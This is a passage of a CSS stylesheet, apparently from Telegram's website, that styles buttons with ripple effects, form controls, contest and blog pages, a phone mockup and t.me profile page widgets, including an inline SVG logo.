  background: #e7f4fd;
}
.button-item-label {
  display: inline-block;
  max-width: 100%;
  overflow: hidden;
  text-overflow: ellipsis;
  vertical-align: top;
  position: relative;
  z-index: 1;
}

.button-item.ripple-handler,
.button-nostyle-item.ripple-handler {
  position: relative;
}
.ripple-mask {
  position: absolute;
  left: 0; right: 0;
  top: 0; bottom: 0;
  transform: translateZ(0);
  overflow: hidden;
  pointer-events: none;
}
.radio-item .ripple-mask,
.checkbox-item .ripple-mask {
  width: 32px;
  height: 32px;
  left: -6px;
  top: -6px;
  border-radius: 16px;
}
.button-nostyle-item .ripple-mask,
.button-item .ripple-mask {
  border-radius: 19px;
}
.radio-item .ripple,
.checkbox-item .ripple {
  position: absolute;
  width: 80px;
  height: 80px;
  left: -24px;
  top: -24px;
  border-radius: 50%;
  background-color: rgba(179, 179, 179, .2);
  transition: transform .65s ease-out, opacity .65s ease-out, background-color .65s ease-out;
  opacity: 0;
}
.radio-item input.radio:checked + .radio-input .ripple,
.checkbox-item input.checkbox:checked + .checkbox-input .ripple {
  background-color: rgba(84, 169, 235, .2);
}
.button-nostyle-item .ripple,
.button-item .ripple {
  position: absolute;
  width: 200%;
  left: 50%; top: 50%;
  margin: -100% 0 0 -100%;
  padding-top: 200%;
  border-radius: 50%;
  background-color: #3790cf;
  transition: transform .65s ease-out, opacity .65s ease-out, background-color .65s ease-out;
  opacity: 0;
}
.button-nostyle-item .ripple,
.button-item-flat .ripple {
  background-color: #d9ebf7;
}

.radio-item input.radio + .radio-label:before {
  background-position: 0 0;
}
.radio-item input.radio:checked + .radio-label:before {
  background-position: 0 -30px;
}
.checkbox-item input.checkbox + .checkbox-label:before {
  background-position: 0 -60px;
}
.checkbox-item input.checkbox:checked + .checkbox-label:before {
  background-position: 0 -88px;
}
.radio-item-justified .radio-input {
  float: left;
}
.radio-item-justified .radio-label {
  float: left;
  margin-right: 16px;
}
.radio-item-justified .radio-label:after {
  content: ':';
  opacity: 0;
  transition: opacity .2s ease;
}
.radio-item-justified .justified-wrap {
  display: block;
  padding: 5px 0;
  margin: -5px 0;
  overflow: hidden;
  opacity: 0;
  transition: opacity .2s ease;
}
.radio-item-justified .justified-wrap input.form-control {
  cursor: inherit;
}
.radio-item-justified input.radio:checked ~ .justified-wrap,
.radio-item-justified input.radio:checked ~ .radio-label:after {
  opacity: 1;
}
.radio-item-justified input.radio:checked ~ .justified-wrap input.form-control {
  cursor: auto;
}
.radio-item-justified .textfield-item {
  margin: -5px 0;
}
.radio-item-justified input.form-control {
  padding: 5px 0 4px;
}

.bgcolor0 { background: #e17076; }
.bgcolor1 { background: #faa774; }
.bgcolor2 { background: #a695e7; }
.bgcolor3 { background: #7bc862; }
.bgcolor4 { background: #6ec9cb; }
.bgcolor5 { background: #65aadd; }
.bgcolor6 { background: #ee7aae; }

.dots-animated:after {
  display: inline-block;
  animation: dotty steps(1, end) 1s infinite;
  content: '...';
  position: absolute;
}

@-webkit-keyframes dotty {
  0%, 100% { content: '';    }
  25%      { content: '.';   }
  50%      { content: '..';  }
  75%      { content: '...'; }
}
@keyframes dotty {
  0%, 100% { content: '';    }
  25%      { content: '.';   }
  50%      { content: '..';  }
  75%      { content: '...'; }
}

.widget_container {
  margin-top: 7px;
}
.widget_container iframe {
  vertical-align: top;
}

button.dropdown-toggle:focus,
button.dropdown-toggle:active:focus {
  outline: none;
}
.embed_code {
  font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
  white-space: pre-wrap;
  word-break: break-all;
  word-wrap: break-word;
  text-align: left;
  -webkit-appearance: none;
}

.dev_page_nav_wrap > p > a:first-child {
  color: #333;
}

#dev_page_content .dev_page_nav_wrap ul {
  list-style-type: none;
  margin: 0;
  padding: 0 0 20px;
}
#dev_page_content .dev_page_nav_wrap ul + h4 {
  margin-top: 4px;
}
#dev_page_content .dev_page_nav_wrap ul li {
  background: none;
  padding-left: 0;
  padding-top: 1px;
  padding-bottom: 2px;
}

.dev_page_image {
  display: block;
  max-width: 800px;
  margin: 0 auto;
  padding: 10px 0px 5px;
}
.tl_contest_page_wrap .dev_page_image {
  max-width: 600px;
}

.dev_page_widget_item {
  display: block;
  width: 300px;
  vertical-align: top;
  max-width: 100%;
  margin: 30px auto 10px;
}
.dev_page_widget_thumb {
  display: inline-block;
  vertical-align: top;
  width: 100%;
  padding-top: 66.6667%;
  border-radius: 7px;
  background: #f7f7f7 no-repeat center;
  background-size: 100%;
  -webkit-filter: brightness(100%);
  -webkit-transition: all .2s ease;
  -moz-transition: all .2s ease;
  -o-transition: all .2s ease;
  -ms-transition: all .2s ease;
  transition: all .2s ease;
}
.dev_page_widget_thumb:hover {
  -webkit-filter: brightness(94%);
}

.dev_page_widget_title {
  font-size: 15px;
  line-height: 1.5;
  margin: 12px 0 0;
  font-weight: bold;
  text-align: center;
}
@media (min-width: 670px) {
  .dev_page_widgets_list {
    margin-right: -36px;
  }
  .dev_page_widget_item {
    float: left;
    margin-left: 0;
    margin-right: 36px;
  }
  .dev_page_widget_title {
    margin-top: 17px;
  }
}

/* Contest */

.tl_contest_page_wrap {
  padding: 0 0 20px;
  max-width: 600px;
  margin: 0 auto;
}
.tl_contest_intro {
  margin: 0;
}
.tl_contest_side_image_wrap {
  position: relative;
}
.tl_contest_side_image {
  margin: 50px 0 0 -180px;
  width: 160px;
  height: 160px;
  position: absolute;
}
.tl_contest_side_image2 {
  margin-top: 0px;
}
.tl_contest_side_image3 {
  margin-top: 10px;
}
.tl_contest_page_wrap .tl_main_share {
  margin: 0 0 20px;
  text-align: left;
}
.tl_contest_page_wrap #dev_page_title {
  font-size: 24.5px;
  line-height: 33px;
  margin: 20px 0 10px 0;
}
.tl_contest_dl_btn {
  padding: 0;
}
#traffic_log_wrap {
  min-height: 300px;
  /*max-height: 600px;*/
  /*overflow: auto;*/
  overflow-wrap: normal;
  white-space: pre;
}

.tl_contest_log {
  padding-top: 10px;
}
.tl_contest_log h3 {
  margin-top: 0;
}

/* Blog */
.blog_side_image_wrap {
  position: relative;
}
.blog_side_image {
  margin: -41px 0 0 -180px;
  width: 160px;
  height: 160px;
  position: absolute;
}

.blog_side_centered_image_wrap {
  position: relative;
}
a.blog_side_cetered_image,
a.blog_side_centered_image {
  display: block;
  width: 160px;
  height: 160px;
  margin: 10px auto 20px;
}
img.blog_side_cetered_image,
img.blog_side_centered_image {
  width: 160px;
  height: 160px;
}

.tlb_blog_page .blog_side_image_wrap {
  position: static;
}
.tlb_blog_page .blog_side_image {
  display: block;
  margin: 20px auto;
  width: 160px;
  height: 160px;
  position: static;
}

.blog_wide_image img {
  width: 100%;
  padding-bottom: 20px;
}
.blog_image_wrap {
  width: 275px;
  margin: 10px auto 20px;
}
.blog_image_wrap a {

}
.blog_image_wrap img {
  width: 275px;
  padding: 10px 5px;
}
.blog_medium_image_wrap,
.blog_medium_image_wrap img {
  width: 400px;
}

.blog_wide_image_wrap,
.blog_wide_image_wrap img {
  width: 100%;
  max-width: auto;
}
#dev_page_content .blog_image_wrap p,
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content .blog_image_wrap p {
  text-align: center;
  color: #808080;
  font-size: 12px;
  margin: 10px 0 0;
  line-height: 150%;
  padding: 0 10px;
}

.blog_2images_wrap,
.blog_3images_wrap {
  width: 564px;
  margin: 20px auto 20px;
}
.blog_3images_wrap {
  width: 575px;
}
.blog_2images_wrap:before,
.blog_2images_wrap:after,
.blog_3images_wrap:before,
.blog_3images_wrap:after {
  content: " ";
  display: table;
}
.blog_2images_wrap:after,
.blog_3images_wrap:after {
  clear: both;
}
.blog_2images_wrap .blog_image_wrap,
.blog_3images_wrap .blog_image_wrap {
  float: left;
  margin-left: 0;
  margin-right: 14px;
}
.blog_3images_wrap .blog_image_wrap {
  margin-right: 10px;
}
.blog_2images_wrap .blog_image_wrap:last-child,
.blog_3images_wrap .blog_image_wrap:last-child {
  margin-right: 0;
}


.blog_video_player_wrap {
  max-width: 640px;
  margin: 10px auto 20px;
}
.blog_video_player {
  width: 100%;
}


/* My page */
.my_page_wrap {
  margin-top: 50px;
  font-size: 14px;
  line-height: 20px;
}
.my_page_wrap .container {
  max-width: 570px;
}

.my_page_wrap .tl_main_card {
  margin: 0;
}
#my_login_form_wrap {
  max-width: 400px;
}
.my_login_form_details {
  margin: 10px 0 20px;
}


#my_login_form_wrap .btn {
  box-shadow: none;
  margin-bottom: 0;
  font-size: 14px;
  font-weight: normal;
  line-height: 1.428571429;
  text-align: center;
  white-space: nowrap;
  vertical-align: middle;
  cursor: pointer;
  background-image: none;
  border: 1px solid transparent;
  border: 0;
  border-radius: 4px;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  -o-user-select: none;
  user-select: none;
  text-shadow: none;
}
#my_login_form_wrap .btn-primary {
  color: #fff;
  background-color: #428bca;
  border-color: #357ebd;
}
#my_login_form_wrap .btn-danger {
  color: #fff;
  background-color: #d9534f;
  border-color: #d43f3a;
}
#my_login_form_wrap .btn-success {
  color: #fff;
  background-color: #5cb85c;
  border-color: #4cae4c;
}
.modal-header h4 {
  position: static;
}

.my_email_confirmation_result_wrap {
  margin-top: 40px;
}
.my_email_confirmation_result_text {
  padding: 10px;
  font-size: 24px;
  font-weight: bold;
  line-height: 1.2;
  text-align: center;
}

.smartphone_video_player_iphone {
  position: absolute;
  margin-top: 69px;
  margin-left: 18px;
  border-radius: 3px;
  overflow: hidden;
  line-height: 0;
}
video.smartphone_video_player {
  cursor: pointer;
  width: 234px;
  height: 416px;
  line-height: 0;
  margin: 0;
  vertical-align: top;
}


.smarphone_device_nexus {
  margin: 40px auto;
  padding: 45px 14px 45px 14px;
  width: 290px;
  height: 514px;
  background: #1e1e1e;
  border-radius: 18.125px;
  display: block;
  position: relative;
  box-sizing: content-box;
}
.smarphone_device_nexus:before {
  -webkit-border-radius: 540px / 45px;
  border-radius: 540px / 45px;
  background: inherit;
  content: '';
  top: 0;
  position: absolute;
  height: 103.1%;
  width: calc(100% - 23px);
  top: 50%;
  left: 50%;
  -moz-transform: translateX(-50%) translateY(-50%);
  -webkit-transform: translateX(-50%) translateY(-50%);
  -o-transform: translateX(-50%) translateY(-50%);
  -ms-transform: translateX(-50%) translateY(-50%);
  transform: translateX(-50%) translateY(-50%);
  box-sizing: content-box;
}
.smarphone_device_nexus .top-bar {
  width: calc(100% - 7px);
  height: calc(100% - 5px);
  position: absolute;
  top: 3px;
  left: 4px;
  -webkit-border-radius: 18px;
  border-radius: 18px;
  background: #181818;
  box-sizing: content-box;
}
.smarphone_device_nexus .top-bar:before {
  -webkit-border-radius: 540px / 45px;
  border-radius: 540px / 45px;
  background: inherit;
  content: '';
  top: 0;
  position: absolute;
  height: 103.0%;
  width: calc(100% - 26px);
  top: 50%;
  left: 50%;
  -moz-transform: translateX(-50%) translateY(-50%);
  -webkit-transform: translateX(-50%) translateY(-50%);
  -o-transform: translateX(-50%) translateY(-50%);
  -ms-transform: translateX(-50%) translateY(-50%);
  transform: translateX(-50%) translateY(-50%);
  box-sizing: content-box;
}
.smarphone_device_nexus .bottom-bar{
  display: none;
  box-sizing: content-box;
}
.smarphone_device_nexus .sleep {
  width: 3px;
  position: absolute;
  left: -3px;
  top: 99px;
  height: 90px;
  background: inherit;
  -webkit-border-radius: 2px 0px 0px 2px;
  border-radius: 2px 0px 0px 2px;
  box-sizing: content-box;
}
.smarphone_device_nexus .volume {
  width: 3px;
  position: absolute;
  right: -3px;
  top: 63px;
  height: 45px;
  background: inherit;
  -webkit-border-radius: 0px 2px 2px 0px;
  border-radius: 0px 2px 2px 0px;
  box-sizing: content-box;
}
.smarphone_device_nexus .camera {
  background: #3c3d3d;
  width: 9px;
  height: 9px;
  position: absolute;
  top: 18px;
  left: 50%;
  z-index: 3;
  margin-left: -5px;
  border-radius: 100%;
  box-sizing: content-box;
}
.smarphone_device_nexus .camera:before {
  background: #3c3d3d;
  width: 6px;
  height: 6px;
  content: '';
  display: block;
  position: absolute;
  top: 2px;
  left: -90px;
  z-index: 3;
  border-radius: 100%;
  box-sizing: content-box;
}
.smarphone_device_nexus .screen {
  position: relative;
  box-sizing: content-box;
}
.smarphone_device_nexus video {
  display: block;
  width: 290px;
  height: 514px;
  margin: 0 auto;
}


/* Telegram Me */
.tgme_page_wrap {
  font-family: 'Roboto', sans-serif;;
  color: #2b2d2e;
}
.tgme_page_wrap a,
.tgme_page_wrap a:hover,
.tgme_page_wrap a:active {
  color: #3ca2d9;
}

.tgme_head_wrap {
  background: #FFF;
  height: 59px;
  padding: 14px 16px;
  -webkit-box-shadow: 0px 1px 3px 0px rgba(0,0,0,0.15);
  -moz-box-shadow: 0px 1px 3px 0px rgba(0,0,0,0.15);
  box-shadow: 0px 1px 3px 0px rgba(0,0,0,0.15);
}
.tgme_logo {
  display: inline-block;
  background: url('data:image/svg+xml,%3Csvg height="34" viewBox="0 0 133 34" width="133" xmlns="http://www.w3.org/2000/svg"%3E%3Cg fill="none" fill-rule="evenodd"%3E%3Ccircle cx="17" cy="17" fill="%2327a7e5" r="17"/%3E%3Cpath d="m7.06510669 16.9258959c5.22739451-2.1065178 8.71314291-3.4952633 10.45724521-4.1662364 4.9797665-1.9157646 6.0145193-2.2485535 6.6889567-2.2595423.1483363-.0024169.480005.0315855.6948461.192827.1814076.1361492.23132.3200675.2552048.4491519.0238847.1290844.0536269.4231419.0299841.65291-.2698553 2.6225356-1.4375148 8.986738-2.0315537 11.9240228-.2513602 1.2428753-.7499132 1.5088847-1.2290685 1.5496672-1.0413153.0886298-1.8284257-.4857912-2.8369905-1.0972863-1.5782048-.9568691-2.5327083-1.3984317-4.0646293-2.3321592-1.7703998-1.0790837-.212559-1.583655.7963867-2.5529189.2640459-.2536609 4.7753906-4.3097041 4.755976-4.431706-.0070494-.0442984-.1409018-.481649-.2457499-.5678447-.104848-.0861957-.2595946-.0567202-.3712641-.033278-.1582881.0332286-2.6794907 1.5745492-7.5636077 4.6239616-.715635.4545193-1.3638349.6759763-1.9445998.6643712-.64024672-.0127938-1.87182452-.334829-2.78737602-.6100966-1.12296117-.3376271-1.53748501-.4966332-1.45976769-1.0700283.04048-.2986597.32581586-.610598.8560076-.935815z" fill="%23fff"/%3E%3Cpath d="m49.4 24v-12.562h-4.224v-2.266h11.198v2.266h-4.268v12.562zm16.094-4.598h-7.172c.066 1.936 1.562 2.772 3.3 2.772 1.254 0 2.134-.198 2.97-.484l.396 1.848c-.924.396-2.2.682-3.74.682-3.476 0-5.522-2.134-5.522-5.412 0-2.97 1.804-5.764 5.236-5.764 3.476 0 4.62 2.86 4.62 5.214 0 .506-.044.902-.088 1.144zm-7.172-1.892h4.708c.022-.99-.418-2.618-2.222-2.618-1.672 0-2.376 1.518-2.486 2.618zm9.538 6.49v-15.62h2.706v15.62zm14.84-4.598h-7.172c.066 1.936 1.562 2.772 3.3 2.772 1.254 0 2.134-.198 2.97-.484l.396 1.848c-.924.396-2.2.682-3.74.682-3.476 0-5.522-2.134-5.522-5.412 0-2.97 1.804-5.764 5.236-5.764 3.476 0 4.62 2.86 4.62 5.214 0 .506-.044.902-.088 1.144zm-7.172-1.892h4.708c.022-.99-.418-2.618-2.222-2.618-1.672 0-2.376 1.518-2.486 2.618zm19.24-1.144v6.072c0 2.244-.462 3.85-1.584 4.862-1.1.99-2.662 1.298-4.136 1.298-1.364 0-2.816-.308-3.74-.858l.594-2.046c.682.396 1.826.814 3.124.814 1.76 0 3.08-.924 3.08-3.234v-.924h-.044c-.616.946-1.694 1.584-3.124 1.584-2.662 0-4.554-2.2-4.554-5.236 0-3.52 2.288-5.654 4.862-5.654 1.65 0 2.596.792 3.102 1.672h.044l.11-1.43h2.354c-.044.726-.088 1.606-.088 3.08zm-2.706 2.948v-1.738c0-.264-.022-.506-.088-.726-.286-.99-1.056-1.738-2.2-1.738-1.518 0-2.64 1.32-2.64 3.498 0 1.826.924 3.3 2.618 3.3 1.012 0 1.892-.66 2.2-1.65.088-.264.11-.638.11-.946zm5.622 4.686v-7.26c0-1.452-.022-2.508-.088-3.454h2.332l.11 2.024h.066c.528-1.496 1.782-2.266 2.948-2.266.264 0 .418.022.638.066v2.53c-.242-.044-.484-.066-.814-.066-1.276 0-2.178.814-2.42 2.046-.044.242-.066.528-.066.814v5.566zm16.05-6.424v3.85c0 .968.044 1.914.176 2.574h-2.442l-.198-1.188h-.066c-.638.836-1.76 1.43-3.168 1.43-2.156 0-3.366-1.562-3.366-3.19 0-2.684 2.398-4.07 6.358-4.048v-.176c0-.704-.286-1.87-2.178-1.87-1.056 0-2.156.33-2.882.792l-.528-1.76c.792-.484 2.178-.946 3.872-.946 3.432 0 4.422 2.178 4.422 4.532zm-2.64 2.662v-1.474c-1.914-.022-3.74.374-3.74 2.002 0 1.056.682 1.54 1.54 1.54 1.1 0 1.87-.704 2.134-1.474.066-.198.066-.396.066-.594zm5.6 3.762v-7.524c0-1.232-.044-2.266-.088-3.19h2.31l.132 1.584h.066c.506-.836 1.474-1.826 3.3-1.826 1.408 0 2.508.792 2.97 1.98h.044c.374-.594.814-1.034 1.298-1.342.616-.418 1.298-.638 2.2-.638 1.76 0 3.564 1.21 3.564 4.642v6.314h-2.64v-5.918c0-1.782-.616-2.838-1.914-2.838-.924 0-1.606.66-1.892 1.43-.088.242-.132.594-.132.902v6.424h-2.64v-6.204c0-1.496-.594-2.552-1.848-2.552-1.012 0-1.694.792-1.958 1.518-.088.286-.132.594-.132.902v6.336z" fill="%23363b40" fill-rule="nonzero"/%3E%3C/g%3E%3C/svg%3E') 0 0 no-repeat;
  width: 133px;
  height: 34px;
  margin: -1px 0;
}
a.tgme_head_dl_button {
  display: block;
  font-size: 16px;
  line-height: 100%;
  color: #FFF;
  background: #32afed;
  padding: 2px 15px 0 16px;
  height: 45px;
  line-height: 43px;
  text-align: center;
}
a.tgme_head_dl_button:hover,
a.tgme_head_dl_button:active {
  color: #FFF;
  background: #32afed;
  text-decoration: none;
}
.tgme_icon_arrow {
  display: inline-block;
  background: url(../images/Arrow_1x.png) 0 0 no-repeat;
  width: 8px;
  height: 12px;
  background-size: 8px 12px;
  vertical-align: top;
  margin-top: 15px;
  margin-left: 9px;
}

.tgme_page {
  position: relative;
  margin: 52px auto 50px;
  max-width: 424px;
}
.tgme_page_post {
  max-width: 455px;
  padding: 52px 0 50px;
  margin: 0 auto;
}
.tgme_page_icon {
  text-align: center;
  margin-bottom: 20px;
}
.tgme_page_photo {
  text-align: center;
  margin-top: -15px;
  margin-bottom: 15px;
}
.tgme_page_photo_image {
  width: 122px;
  height: 122px;
  border-radius: 61px;
}
.tgme_page_title {
  font-size: 26px;
  line-height: 32px;
  font-weight: bold;
  text-align: center;
  max-width: 340px;
  padding: 0 10px;
  margin: 0 auto;
  color: #333;
  overflow: hidden;
  text-overflow: ellipsis;
}

.tgme_page_extra {
  font-size: 15px;
  line-height: 27px;
  text-align: center;
  margin-bottom: 6px;
  color: #808080;
}
.tgme_page_description,
.tgme_page_additional {
  font-size: 16px;
  line-height: 25px;
  text-align: center;
  max-width: 340px;
  padding: 0 10px;
  margin: 0 auto;
  overflow: hidden;
  text-overflow: ellipsis;
}
.tgme_page_description {
  display: -webkit-box;
  -webkit-line-clamp: 5;
  -webkit-box-orient: vertical;
  overflow: hidden;
  text-overflow: ellipsis;
  max-height: 125px;
  word-break: break-word;
}
.tgme_page_long_description {
  max-height: none;
  -webkit-line-clamp: unset;
}
.tgme_page_additional {
  display: none;
  font-size: 14px;
  line-height: 23px;
  margin-top: 32px;
  color: #808080;
}
a.tgme_username_link,
a.tgme_username_link:hover,
a.tgme_username_link:active {
  text-decoration: none;
}
.tgme_page_action {
  text-align: center;
  margin-top: 32px;
  line-height: 0;
}
a.tgme_action_button,
a.tgme_action_button_new {
  font-size: 14px;
  font-weight: bold;
  line-height: 100%;
  color: #FFF;
  background: #5dc390;
  border-radius: 22px;
  overflow: hidden;
  display: inline-block;
  padding: 15px 27px 13px;
  text-transform: uppercase;
  cursor: pointer;
}
a.tgme_action_button:hover,
a.tgme_action_button:active,
a.tgme_action_button_new:hover,
a.tgme_action_button_new:active {
  color: #FFF;
  background: #4bbc87;
  text-decoration: none;
}
a.tgme_action_button_new {
  background: #33d684;
}
a.tgme_action_button_new:hover,
a.tgme_action_button_new:active {
  background: #28c979;
}

.tgme_page_web_action {
  margin-top: 18px;
}
.tgme_page_web_action a.tgme_action_button {
  color: #5dc390;;
  background: #fff;
  border: 2px solid #5dc390;
  padding: 13px 25px 11px;
}
.tgme_page_web_action a.tgme_action_button:hover,
.tgme_page_web_action a.tgme_action_button:active {
  color: #5dc390;;
  background: #FFF;;
  text-decoration: none;
}
.tgme_action_privacy_action {
  margin-top: 12px;
}
.tgme_action_privacy_action a.tgme_action_privacy_button {
  color: #5dc390;;
  background: #fff;
  border: 0;
  padding: 13px 25px 11px;
  font-size: 12px;
}
.tgme_action_privacy_action a.tgme_action_privacy_button:hover,
.tgme_action_privacy_action a.tgme_action_privacy_button:active {
  color: #5dc390;;
  background: #FFF;;
  text-decoration: none;
}

.tgme_footer {
  margin: 0 auto 50px;
  border-top: 1px solid #e0e0e0;
  max-width: 424px;
  padding-top: 38px;
}

.tgme_footer_description {
  font-size: 17px;
  line-height: 27px;
  text-align: center;
  max-width: 330px;
  padding: 0 10px;
  margin: 0 auto 0;
}
.tgme_footer_action {
  text-align: center;
  margin-top: 28px;
  line-height: 0;
}
a.tgme_footer_dl_button {
  background: #32afed;
}
a.tgme_footer_dl_button:hover,
a.tgme_footer_dl_button:active {
  background: #1ca4e7;
}

.tgme_page_widget {
  margin-left: -45px;
}
.tgme_page_widget_action {
  text-align: center;
  line-height: 0;
}
.tgme_page_widget iframe {
  vertical-align: top;
  max-width: 100%;
}
.tgme_page_widget_actions {
  position: relative;
  max-width: 595px;
  padding: 30px 0;
}
.fixed_actions .tgme_page_widget_actions {
  position: fixed;
  left: 0;
  right: 0;
  bottom: 0;
  border-top: 1px solid #d7e3ec;
  padding: 30px 70px;
  margin: 0 auto;
  background: #fff;
}
.tgme_page_widget_actions_cont {
  max-width: 455px;
  margin: 0 auto;
  display: flex;
  justify-content: space-between;
  flex-wrap: wrap;
}
.tgme_page_widget_actions .tgme_page_action {
  position: relative;
  margin: 0 auto;
}
.tgme_page_widget_action_right,
.tgme_page_widget_action_left {
  width: 120px;
  flex-grow: 2;
}
.tgme_page_widget_action_right {
  float: right;
  text-align: right;
  order: 1;
}
.tgme_page_widget_action_left {
  float: left;
  text-align: left;
}
.tgme_page_widget_actions a.tgme_action_web_button {
  border: none;
  background: none;
  padding: 15px 10px 13px;
}
.tgme_page_widget_actions a.tgme_action_web_button:hover {
  text-decoration: underline;
}

.tgme_page_widget_actions .tgme_page_web_action {
  margin-top: 0;
  text-align: inherit;
}
.tgme_page_context_action {
  margin-top: 8px;
}
.tgme_page_context_action a.tgme_action_button_new {
  font-weight: normal;
  text-transform: none;
}
.tgme_page_embed_action {
  text-align: center;
  margin-top: 30px;
  display: none;
  order: 3;
  flex-basis: 100%;
}
.embed_opened .tgme_page_embed_action {
  display: block;
}
.tgme_page_embed_btn {
  line-height: 0;
}
.tgme_page_copy_action {
  text-align: center;
  margin-top: 18px;
  margin-bottom: -16px;
}
.tgme_page_embed_btn a.tgme_action_button_new,
.tgme_page_context_btn a.tgme_action_button_new,
.tgme_page_copy_action a.tgme_action_button_new {
  color: #8197af;
  padding: 15px 10px 13px;
  background: none;
  cursor: pointer;
}

.embed_opened .tgme_page_embed_btn a.tgme_action_button_new:before {
  background-position: -24px 0;
}

.embed_opened .tgme_page_embed_btn a.tgme_action_button_new {
  color: #2481cc;
}
.tgme_page_embed_action a.tgme_action_button_new:hover,
.tgme_page_embed_action a.tgme_action_button_new:active,
.tgme_page_copy_action a.tgme_action_button_new:hover,
.tgme_page_copy_action a.tgme_action_button_new:active {
  color: #8197af;
  text-decoration: none;
  background: none;
}
.tgme_page_embed_code {
  font-size: 13px;
  color: #546172;
  background: #ecf3f8;
  font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
  width: 100%;
  padding: 11px 17px;
  border: 1px solid #d7e3ec;
  border-radius: 10px;
  white-space: pre-wrap;
  word-break: break-all;
  word-wrap: break-word;
  text-align: left;
  -webkit-appearance: none;
  vertical-align: top;
}
.tgme_page_embed_code:focus {
  outline: none;
}
@media (max-width: 595px) {
  .tgme_page_widget {
    padding: 0 10px;
    margin-left: 0;
  }
  .tgme_page_widget_actions,
  .fixed_actions .tgme_page_widget_actions {
    padding: 20px 0;
  }
  .tgme_page_widget_action_right,
  .tgme_page_widget_action_left {
    text-align: center;
    width: 20%;
  }
  .tgme_page_widget_actions .tgme_action_button_label {
    display: none;
  }
  .tgme_page_widget_actions a.tgme_action_web_button:before {
    display: inline-block;
  }
  .tgme_page_embed_btn a.tgme_action_button_new:before {
    margin-right: 0;
  }
  .tgme_page_embed_action {
    margin-top: 20px;
    margin-left: 10px;
    margin-right: 10px;
  }
  .tgme_page_copy_action {
    margin-top: 8px;
  }
  #embed_code {
    margin-top: 24px;
  }
}

.tgme_page_bg {
  margin: 0;
  max-width: none;
}
.tgme_bg_wrap {
  height: 100%;
  height: calc(100vh - 104px);
  display: -ms-flexbox;
  display: -webkit-flex;
  display: flex;
  -webkit-justify-content: center;
  -ms-flex-pack: center;
  justify-content: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
}
.tgme_bg_image_wrap {
  position: absolute;
  width: 100%;
  height: 100%;
  height: calc(100vh - 104px);
  overflow: hidden;
}
.tgme_bg_image {
  width: 110%;
  width: calc(100vw + 40px);
  height: 110%;
  height: calc(100vh - 104px + 40px);
  margin: -20px;

  background-repeat: no-repeat;
  background-size: cover;
  z-index: 1;

  -webkit-filter: blur(5px);
  -moz-filter: blur(5px);
  -o-filter: blur(5px);
  -ms-filter: blur(5px);
  filter: blur(5px);
}
.tgme_bg_wrap_pattern1 .tgme_bg_image {
  -webkit-filter: blur(8px);
  -moz-filter: blur(8px);
  -o-filter: blur(8px);
  -ms-filter: blur(8px);
  filter: blur(8px);
}
.tgme_bg_wrap_full .tgme_bg_image {
  -webkit-filter: none;
  -moz-filter: none;
  -o-filter: none;
  -ms-filter: none;
  filter: none;
}
.tgme_bg {
  position: relative;
  z-index: 2;
}
.tgme_bg_popup_wrap {
  background: #fff;
  border-radius: 10px;
  flex: 1 0 auto;
  padding: 40px 40px 30px;
  margin: 0 40px;
  max-width: 390px;
  text-align: center;
}
.tgme_bg_title {
  font-size: 18px;
  font-weight: bold;
  margin: 0 0 10px;
}
.tgme_bg_size {
  color: #64686B;
  font-size: 14px;
  margin: 10px 0 17px;
}


#tgme_frame_cont {
  position: absolute;
  left: -10000px;
  top: -10000px;
}

/* New mobile blog */
.tlb_page_wrap {
  font-family: 'Roboto', sans-serif;;
}
.tlb_page_wrap a,
.tlb_page_wrap a:hover,
.tlb_page_wrap a:active {
  color: #1497d9;
}
.tlb_page_head {
  background: #FFF;
  height: 47px;
  padding: 12px 12px;
}

.tlb_head_home {
  float: right;
  display: inline-block;
  line-height: 24px;
  height: 24px;
  vertical-align: top;
  font-size: 14px;
}
a.tlb_blog_head_more_link {
  display: block;
  font-size: 15px;
  color: #FFF;
  background: #3faee8;
  padding: 0 15px 0 15px;
  height: 42px;
  line-height: 42px;
}
a.tlb_blog_head_more_link:hover,
a.tlb_blog_head_more_link:active {
  color: #FFF;
  background: #3faee8;
  text-decoration: none;
}

a.tlb_blog_head_more_link .tlb_head_more_active,
.tlb_blog_head_recent_active a.tlb_blog_head_more_link .tlb_head_more_inactive,
.tlb_head_more_entries {
  display: none;
}
.tlb_blog_head_recent_active a.tlb_blog_head_more_link .tlb_head_more_active,
.tlb_blog_head_recent_active .tlb_head_more_entries {
  display: block;
}
.tlb_head_more_icon_wrap {
  float: right;
  vertical-align: top;
  margin-top: 15px;
  line-height: 0;
}
.tlb_head_more_icon {
  display: inline-block;
  border: 2px solid #FFF;
  border-left: 0;
  border-bottom: 0;
  width: 10px;
  height: 10px;

  -moz-transform: rotate(135deg);
  -webkit-transform: rotate(135deg);
  -o-transform: rotate(135deg);
  -ms-transform: rotate(135deg);
  transform: rotate(135deg);

  /*-webkit-transition: all linear 0.2s;
  -moz-transition: all linear 0.2s;
  -ms-transition: all linear 0.2s;
  -o-transition: all linear 0.2s;
  transition: all linear 0.2s;*/
}
.tlb_blog_head_recent_active .tlb_head_more_icon_wrap {
  margin-top: 18px;
}
.tlb_blog_head_recent_active .tlb_head_more_icon {
  -moz-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  transform: rotate(-45deg);
}

.tlb_page_wrap .side_blog_wrap {
  margin: 22px 0 0 16px;
  padding: 0 10px 0 15px;
  font-size: 13px;
  border-width: 4px;
  border-color: #3faee8;
}
.tlb_page_wrap .tl_blog_bottom_blog .side_blog_wrap {
  margin-left: 0;
  padding: 0 0 0 15px;
}

.tlb_page_wrap .side_blog_header {
  font-size: 15px;
  font-weight: bold;
}
.tlb_page_wrap .side_blog_entry {
  margin-top: 12px;
}
.tlb_page_wrap .side_blog_date {
  color: #444;
  font-size: 14px;
}
.tlb_page_wrap .side_blog_title {
  margin-top: 2px;
  font-size: 15px;
}



.tlb_page_wrap #dev_page_title a,
.tlb_page_wrap #dev_page_title a:hover,
.tlb_page_wrap #dev_page_title a:active {
  color: #444;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_title {
  text-align: center;
  max-width: 250px;
  margin-left: auto;
  margin-right: auto;
  margin-bottom: 20px;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_title,
.tlb_page_wrap .tl_contest_page_wrap h4 {
  color: #444;
  font-size: 18px;
  line-height: 25px;
}

